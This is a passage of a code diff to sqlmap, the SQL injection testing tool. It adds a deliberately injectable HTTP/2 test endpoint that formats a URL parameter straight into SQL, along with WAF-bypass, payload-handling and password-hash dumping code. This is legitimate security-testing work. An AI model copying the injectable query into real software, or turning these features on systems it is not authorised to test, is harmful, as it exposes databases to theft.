self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/echo":
|
||||
# A pure reflector: no engine of any kind behind it, it only shows the parameter back. Every
|
||||
# non-SQL switch must stay silent here. A differential built on "the page changed" is
|
||||
|
|
@ -1748,7 +1765,8 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||
length = int(self.headers.get("Content-length", 0))
|
||||
if length:
|
||||
data = self.rfile.read(length)
|
||||
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
|
||||
self.rawData = data.decode(UNICODE_ENCODING, "ignore")
|
||||
data = unquote_plus(self.rawData)
|
||||
self.data = data
|
||||
elif self.headers.get("Transfer-encoding") == "chunked":
|
||||
data, line = b"", b""
|
||||
|
|
@ -1774,6 +1792,114 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def run_h2(address=LISTEN_ADDRESS, port=LISTEN_PORT + 1):
|
||||
"""
|
||||
Optional HTTP/2 (TLS) endpoint '/?id=1' (e.g. for --http2/--timeless), requiring 'h2' and 'cryptography'
|
||||
Note: each stream is answered on its own thread with its own database connection (i.e. in order of completion)
|
||||
"""
|
||||
|
||||
import datetime
|
||||
import socket
|
||||
import ssl
|
||||
|
||||
import h2.config
|
||||
import h2.connection
|
||||
import h2.events
|
||||
|
||||
from cryptography import x509
|
||||
from cryptography.hazmat.primitives import hashes
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import ec
|
||||
from cryptography.x509.oid import NameOID
|
||||
|
||||
key = ec.generate_private_key(ec.SECP256R1())
|
||||
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"localhost")])
|
||||
now = datetime.datetime.utcnow()
|
||||
cert = x509.CertificateBuilder().subject_name(name).issuer_name(name).public_key(key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(now - datetime.timedelta(days=1)).not_valid_after(now + datetime.timedelta(days=1)).sign(key, hashes.SHA256())
|
||||
|
||||
handle, certFile = tempfile.mkstemp(suffix=".pem")
|
||||
os.close(handle)
|
||||
with open(certFile, "wb") as f:
|
||||
f.write(cert.public_bytes(serialization.Encoding.PEM))
|
||||
f.write(key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()))
|
||||
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(certFile)
|
||||
context.set_alpn_protocols(["h2"])
|
||||
local = threading.local()
|
||||
|
||||
def _respond(conn, lock, sock, streamId, path):
|
||||
if not hasattr(local, "db"):
|
||||
local.db = sqlite3.connect(":memory:")
|
||||
local.db.executescript(SCHEMA)
|
||||
|
||||
try:
|
||||
value = parse_qs(path.split('?', 1)[-1] if '?' in path else "").get("id", ["1"])[-1]
|
||||
rows = local.db.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % value).fetchall()
|
||||
status, body = "200", "<html><body>%s</body></html>" % "".join("<td>%s</td>" % _ for row in rows for _ in row)
|
||||
except Exception as ex:
|
||||
status, body = "500", "<html><body>error: %s</body></html>" % ex
|
||||
|
||||
body = body.encode(UNICODE_ENCODING)
|
||||
|
||||
with lock:
|
||||
conn.send_headers(streamId, [(":status", status), ("content-length", str(len(body))), ("content-type", "text/html")])
|
||||
conn.send_data(streamId, body, end_stream=True)
|
||||
sock.sendall(conn.data_to_send())
|
||||
|
||||
def _serve(sock):
|
||||
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=False))
|
||||
lock = threading.Lock()
|
||||
paths = {}
|
||||
|
||||
conn.initiate_connection()
|
||||
sock.sendall(conn.data_to_send())
|
||||
|
||||
try:
|
||||
while True:
|
||||
data = sock.recv(65535)
|
||||
if not data:
|
||||
break
|
||||
|
||||
with lock:
|
||||
events = conn.receive_data(data)
|
||||
sock.sendall(conn.data_to_send())
|
||||
|
||||
for event in events:
|
||||
if isinstance(event, h2.events.RequestReceived):
|
||||
paths[event.stream_id] = dict((_[0].decode() if isinstance(_[0], bytes) else _[0], _[1].decode() if isinstance(_[1], bytes) else _[1]) for _ in event.headers).get(":path", "/")
|
||||
elif isinstance(event, h2.events.StreamEnded):
|
||||
thread = threading.Thread(target=_respond, args=(conn, lock, sock, event.stream_id, paths.pop(event.stream_id, "/")))
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.settimeout(None) # Note: independent of (e.g. sqlmap's) default socket timeout, which would end the accept loop once idle
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind((address, port))
|
||||
server.listen(50)
|
||||
|
||||
while True:
|
||||
try:
|
||||
client, _ = server.accept()
|
||||
except socket.error:
|
||||
continue
|
||||
|
||||
try:
|
||||
client.settimeout(None)
|
||||
client = context.wrap_socket(client, server_side=True)
|
||||
except Exception:
|
||||
client.close()
|
||||
continue
|
||||
|
||||
thread = threading.Thread(target=_serve, args=(client,))
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
||||
global _alive
|
||||
global _server
|
||||
|
|
|
|||
|
|
@ -9,6 +9,7 @@ from lib.controller.handler import setHandler
|
|||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import splitFields
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
|
@ -47,7 +48,7 @@ def action():
|
|||
# automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried
|
||||
# first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from
|
||||
# the error page or the heuristic checks, so that the user still gets a usable result
|
||||
if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms():
|
||||
if kb.wafBypass and not conf.forceDbms and not conf.esperanto and not Backend.getIdentifiedDbms(): # Note: --esperanto does its own (generic) back-end identification
|
||||
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
|
||||
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
|
||||
if fallback:
|
||||
|
|
@ -134,6 +135,18 @@ def action():
|
|||
if conf.getProcs:
|
||||
conf.dumper.procedures(conf.dbmsHandler.getProcedures())
|
||||
|
||||
if conf.getLinks:
|
||||
try:
|
||||
conf.dumper.links(conf.dbmsHandler.getLinks())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
|
||||
if conf.getAudit:
|
||||
try:
|
||||
conf.dumper.audit(conf.dbmsHandler.getAudit())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
|
||||
|
|
@ -239,7 +252,7 @@ def action():
|
|||
raise
|
||||
|
||||
if conf.sqlQuery:
|
||||
for query in conf.sqlQuery.strip(';').split(';'):
|
||||
for query in splitFields(conf.sqlQuery.strip(';'), delimiter=';'): # Note: e.g. "SELECT 'a;b'" is a single statement
|
||||
query = query.strip()
|
||||
if query:
|
||||
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
|
||||
|
|
|
|||
|
|
@ -403,7 +403,7 @@ def checkSqlInjection(place, parameter, value):
|
|||
|
||||
# Parse test's <request>
|
||||
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
for boundary in boundaries:
|
||||
injectable = False
|
||||
|
|
@ -517,13 +517,13 @@ def checkSqlInjection(place, parameter, value):
|
|||
# payload was successful
|
||||
# Parse test's <response>
|
||||
for method, check in test.response.items():
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
# In case of boolean-based blind SQL injection
|
||||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
# Generate payload used for comparison
|
||||
def genCmpPayload():
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
# Forge response payload by prepending with
|
||||
# boundary's prefix and appending the boundary's
|
||||
|
|
@ -627,7 +627,7 @@ def checkSqlInjection(place, parameter, value):
|
|||
# A real boolean injection's TRUE condition reproduces the normal page, so this
|
||||
# status-code asymmetry is the classic false positive - refuse it here.
|
||||
if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
|
||||
warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
|
||||
warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %s status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
|
||||
warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
|
||||
logger.warning(warnMsg)
|
||||
injectable = False
|
||||
|
|
|
|||
|
|
@ -223,6 +223,9 @@ def _autoWafBypass(place, parameter, value):
|
|||
|
||||
return retVal
|
||||
|
||||
def _targetInfo():
|
||||
return {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}
|
||||
|
||||
def _showInjections():
|
||||
if conf.wizard and kb.wizardMode:
|
||||
kb.wizardMode = False
|
||||
|
|
@ -234,13 +237,12 @@ def _showInjections():
|
|||
header = "sqlmap resumed the following injection point(s) from stored session"
|
||||
|
||||
if conf.api:
|
||||
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", _targetInfo(), content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||
else:
|
||||
# --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
|
||||
# printing them (the human-readable injection points are rendered just below)
|
||||
# --report-json: capture the same TECHNIQUES structure the API emits, without printing it (the
|
||||
# human-readable injection points are rendered just below); TARGET is reported per target in start()
|
||||
if conf.reportJson:
|
||||
conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
|
||||
conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
|
||||
|
||||
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
|
||||
|
|
@ -376,9 +378,9 @@ def start():
|
|||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||
targetCount += 1
|
||||
|
||||
# --report-json: give each target its own taskid in the shared collector, so a multi-target
|
||||
# run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData)
|
||||
if conf.reportJson:
|
||||
# --report-json / REST API: give each target its own taskid in the shared collector, so a multi-target
|
||||
# run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData/StdDbOut.write)
|
||||
if conf.reportJson or conf.api:
|
||||
kb.reportTaskId = targetCount
|
||||
|
||||
try:
|
||||
|
|
@ -522,6 +524,11 @@ def start():
|
|||
|
||||
setupTargetEnv()
|
||||
|
||||
# --report-json: every tested target gets its own group with its identity, also when nothing is found
|
||||
# (otherwise its errors, e.g. connection failures, would have no group to land in)
|
||||
if conf.reportJson:
|
||||
conf.dumper._reportData(_targetInfo(), CONTENT_TYPE.TARGET)
|
||||
|
||||
if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
|
||||
continue
|
||||
|
||||
|
|
@ -629,7 +636,7 @@ def start():
|
|||
skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
|
||||
|
||||
# --param-filter
|
||||
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
|
||||
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter and place.upper().replace("(CUSTOM) ", "") not in conf.paramFilter) # Note: e.g. POST for JSON/XML (i.e. '(custom) POST') too
|
||||
|
||||
# Test Host header only if
|
||||
# --level >= 5
|
||||
|
|
@ -704,7 +711,7 @@ def start():
|
|||
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)):
|
||||
elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(r"\A(?:%s)\Z" % conf.paramExclude, place, re.I)): # Note: place (e.g. 'Cookie') has to be fully matched (e.g. 'ge' must not exclude 'GET')
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import json
|
||||
import re
|
||||
|
||||
from lib.core.common import Backend
|
||||
|
|
@ -29,6 +30,7 @@ from lib.core.common import zeroDepthSearch
|
|||
from lib.core.compat import xrange
|
||||
from lib.core.convert import encodeBase64
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import htmlUnescape
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import queries
|
||||
|
|
@ -61,6 +63,31 @@ from lib.core.settings import UNICODE_ENCODING
|
|||
from lib.core.unescaper import unescaper
|
||||
from thirdparty import six
|
||||
|
||||
def _isGroupOrderByClause(clause):
|
||||
"""
|
||||
Returns True if (test's/injection's) clause is exclusively GROUP BY and/or ORDER BY
|
||||
|
||||
>>> _isGroupOrderByClause([PAYLOAD.CLAUSE.GROUP_BY, PAYLOAD.CLAUSE.ORDER_BY])
|
||||
True
|
||||
>>> _isGroupOrderByClause([PAYLOAD.CLAUSE.WHERE, PAYLOAD.CLAUSE.ORDER_BY])
|
||||
False
|
||||
"""
|
||||
|
||||
return bool(clause) and set(clause) <= set((PAYLOAD.CLAUSE.GROUP_BY, PAYLOAD.CLAUSE.ORDER_BY))
|
||||
|
||||
def _markerSafeRandom(generator):
|
||||
"""
|
||||
Returns a random value (e.g. for [RANDNUM]) not containing the --string/--not-string page marker,
|
||||
as a reflected one (e.g. echoed in a DBMS error message) would otherwise fake the comparison
|
||||
"""
|
||||
|
||||
markers = filterNone((conf.get("string"), conf.get("notString")))
|
||||
|
||||
while True:
|
||||
retVal = getUnicode(generator())
|
||||
if not any(_ in retVal for _ in markers):
|
||||
return retVal
|
||||
|
||||
class Agent(object):
|
||||
"""
|
||||
This class defines the SQL agent methods.
|
||||
|
|
@ -112,6 +139,7 @@ class Agent(object):
|
|||
paramString = conf.parameters[place]
|
||||
paramDict = conf.paramDict[place]
|
||||
origValue = getUnicode(paramDict[parameter])
|
||||
lookupValue = None
|
||||
newValue = getUnicode(newValue) if newValue else newValue
|
||||
try:
|
||||
# Dirty patch for Python 3.14.7 re.sub() regression (e.g. https://github.com/sqlmapproject/sqlmap/issues/6128)
|
||||
|
|
@ -135,12 +163,21 @@ class Agent(object):
|
|||
elif place == PLACE.CUSTOM_POST:
|
||||
paramString = origValue
|
||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||
# Note: original value is taken in its raw (decoded) form, as the whole payload (including it) gets (re)encoded later on (connect.py)
|
||||
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
||||
origValue = re.split(r"['\">]", origValue)[-1]
|
||||
lookupValue = origValue
|
||||
origValue = htmlUnescape(origValue) if '&' in origValue else origValue
|
||||
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB):
|
||||
match = re.search(r"['\"]", origValue)
|
||||
quote = match.group(0) if match else '"'
|
||||
origValue = extractRegexResult(r"%s\s*:\s*(?P<result>\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P<result>[^%s]*)\Z" % quote, origValue)
|
||||
lookupValue = origValue
|
||||
if quote == '"' and kb.postHint != POST_HINT.JSON_LIKE and '\\' in (origValue or ""):
|
||||
try:
|
||||
origValue = json.loads('"%s"' % origValue)
|
||||
except ValueError:
|
||||
pass
|
||||
else:
|
||||
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
|
||||
origValue = _.split('=', 1)[1] if '=' in _ else _
|
||||
|
|
@ -184,7 +221,7 @@ class Agent(object):
|
|||
|
||||
newValue = "%s%s" % (value, newValue)
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue) or ""
|
||||
newValue = self.cleanupPayload(newValue, origValue, clause=kb.injection.clause if kb.get("injection") else None) or ""
|
||||
|
||||
if base64Encoding:
|
||||
_newValue = newValue
|
||||
|
|
@ -208,7 +245,7 @@ class Agent(object):
|
|||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
|
||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
_ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark)
|
||||
_ = "%s%s" % (_origValue if base64Encoding else (origValue if lookupValue is None else lookupValue), kb.customInjectionMark) # Note: raw value (as found in the request) for the lookup
|
||||
|
||||
if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||
|
|
@ -253,14 +290,17 @@ class Agent(object):
|
|||
retVal = string[:match.start()] + repl + string[match.end():]
|
||||
return retVal
|
||||
|
||||
# Note: parameter name has to start right after a delimiter (e.g. '-p id' must not match inside 'x-id=1')
|
||||
boundary = r"(\A|(?<=[%s\s]))" % re.escape("%s%s%s%s" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER, conf.paramDel or "", conf.cookieDel or ""))
|
||||
|
||||
if origValue:
|
||||
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
|
||||
regex = r"%s%s=%s%s" % (boundary, re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
|
||||
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
|
||||
else:
|
||||
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
|
||||
retVal = _(r"%s%s=%s(\Z|%s|%s|\s)" % (boundary, re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
|
||||
|
||||
if retVal == paramString and urlencode(parameter) != parameter:
|
||||
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
|
||||
retVal = _(r"%s%s=%s" % (boundary, re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
|
||||
|
||||
if retVal:
|
||||
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
|
||||
|
|
@ -296,9 +336,9 @@ class Agent(object):
|
|||
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
|
||||
elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
|
||||
query = kb.injection.prefix
|
||||
elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
|
||||
elif _isGroupOrderByClause(kb.injection.clause):
|
||||
query = kb.injection.prefix
|
||||
elif clause == [2, 3] or clause == [2] or clause == [3]:
|
||||
elif _isGroupOrderByClause(clause):
|
||||
query = prefix
|
||||
|
||||
# In any other case prepend with the full prefix
|
||||
|
|
@ -356,7 +396,7 @@ class Agent(object):
|
|||
|
||||
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
|
||||
|
||||
def cleanupPayload(self, payload, origValue=None):
|
||||
def cleanupPayload(self, payload, origValue=None, clause=None):
|
||||
if not isinstance(payload, six.string_types):
|
||||
return
|
||||
|
||||
|
|
@ -375,16 +415,18 @@ class Agent(object):
|
|||
payload = payload.replace(value, replacements[value])
|
||||
|
||||
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
payload = payload.replace(_, _markerSafeRandom(randomInt))
|
||||
|
||||
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
payload = payload.replace(_, _markerSafeRandom(randomStr))
|
||||
|
||||
if origValue is not None:
|
||||
origValue = getUnicode(origValue)
|
||||
|
||||
if "[ORIGVALUE]" in payload:
|
||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
|
||||
# Note: in a GROUP BY/ORDER BY payload a (plain identifier) original value is the column itself - quoting it would turn it into a constant
|
||||
raw = origValue.isdigit() or (_isGroupOrderByClause(clause) and re.search(r"\A[\w.]+\Z", origValue) is not None)
|
||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if raw else unescaper.escape("'%s'" % origValue))
|
||||
if "[ORIGINAL]" in payload:
|
||||
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
|
||||
|
||||
|
|
@ -426,10 +468,10 @@ class Agent(object):
|
|||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||
|
||||
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
payload = payload.replace(_, _markerSafeRandom(randomInt))
|
||||
|
||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
payload = payload.replace(_, _markerSafeRandom(randomStr))
|
||||
|
||||
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||
|
|
@ -631,7 +673,7 @@ class Agent(object):
|
|||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||
fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
|
||||
fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
|
||||
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
|
||||
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I | re.S)
|
||||
fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
|
||||
fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
|
@ -643,6 +685,10 @@ class Agent(object):
|
|||
if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I):
|
||||
fieldsMinMaxstr = None
|
||||
|
||||
# Note: shortcut is meant only for a single MIN()/MAX() field (e.g. 'SELECT MAX(id),MIN(id) FROM users' has two)
|
||||
if fieldsMinMaxstr and fieldsSelectFrom and len(splitFields(fieldsSelectFrom.group(1))) > 1:
|
||||
fieldsMinMaxstr = None
|
||||
|
||||
fieldsToCastStr = fieldsNoSelect
|
||||
|
||||
if fieldsSubstr:
|
||||
|
|
@ -671,8 +717,8 @@ class Agent(object):
|
|||
|
||||
fieldsToCastStr = fieldsToCastStr or ""
|
||||
|
||||
# Function
|
||||
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
|
||||
# Function (Note: a single one - e.g. 'MAX(id),MIN(id)' are two fields)
|
||||
if (re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) and len(splitFields(fieldsToCastStr)) == 1) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
|
||||
fieldsToCastList = [fieldsToCastStr]
|
||||
else:
|
||||
fieldsToCastList = splitFields(fieldsToCastStr)
|
||||
|
|
@ -1035,9 +1081,13 @@ class Agent(object):
|
|||
startLimit = 0
|
||||
stopLimit = None
|
||||
limitCond = True
|
||||
limitClause = None
|
||||
|
||||
topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I)
|
||||
|
||||
# Note: Microsoft SQL Server 2012+ paging (e.g. 'ORDER BY id OFFSET 2 ROWS FETCH NEXT 2 ROWS ONLY')
|
||||
offsetFetch = re.search(r"(?i)\s+OFFSET\s+(?P<start>\d+)\s+ROWS?\s+FETCH\s+(?:NEXT|FIRST)\s+(?P<stop>\d+)\s+ROWS?\s+ONLY", expression) if Backend.isDbms(DBMS.MSSQL) else None
|
||||
|
||||
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
||||
|
||||
if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"):
|
||||
|
|
@ -1051,7 +1101,7 @@ class Agent(object):
|
|||
# ClickHouse) and per-row extraction (blind/error) reads bogus offsets - only UNION was unaffected.
|
||||
limitOffsetAppendDbmses = (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.SPANNER, DBMS.HANA)
|
||||
|
||||
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if (limitRegExp or limitRegExp2 or offsetFetch) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses:
|
||||
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
|
@ -1065,10 +1115,20 @@ class Agent(object):
|
|||
# Note: query2 (LIMIT without OFFSET) always has exactly one group (the
|
||||
# count); using limitGroupStart here would IndexError for H2 (groupstart=2)
|
||||
stopLimit = limitRegExp2.group(1)
|
||||
|
||||
# Note: standard 'LIMIT n OFFSET m' (or 'OFFSET m LIMIT n') isn't (fully) covered by limitregexp (e.g. OFFSET was silently ignored on MySQL)
|
||||
limitClause = re.search(r"(?i)\s+LIMIT\s+(?P<stop>\d+)\s+OFFSET\s+(?P<start>\d+)", expression) or re.search(r"(?i)\s+OFFSET\s+(?P<start>\d+)\s+LIMIT\s+(?P<stop>\d+)", expression)
|
||||
if limitClause:
|
||||
startLimit, stopLimit = int(limitClause.group("start")), limitClause.group("stop")
|
||||
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if limitRegExp:
|
||||
if offsetFetch:
|
||||
startLimit = int(offsetFetch.group("start"))
|
||||
stopLimit = offsetFetch.group("stop")
|
||||
limitCond = int(stopLimit) > 1
|
||||
elif limitRegExp:
|
||||
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
|
|
@ -1089,14 +1149,16 @@ class Agent(object):
|
|||
# (or equivalent depending on the back-end DBMS) can return
|
||||
# multiple entries
|
||||
if limitCond:
|
||||
if (limitRegExp or limitRegExp2) and stopLimit is not None:
|
||||
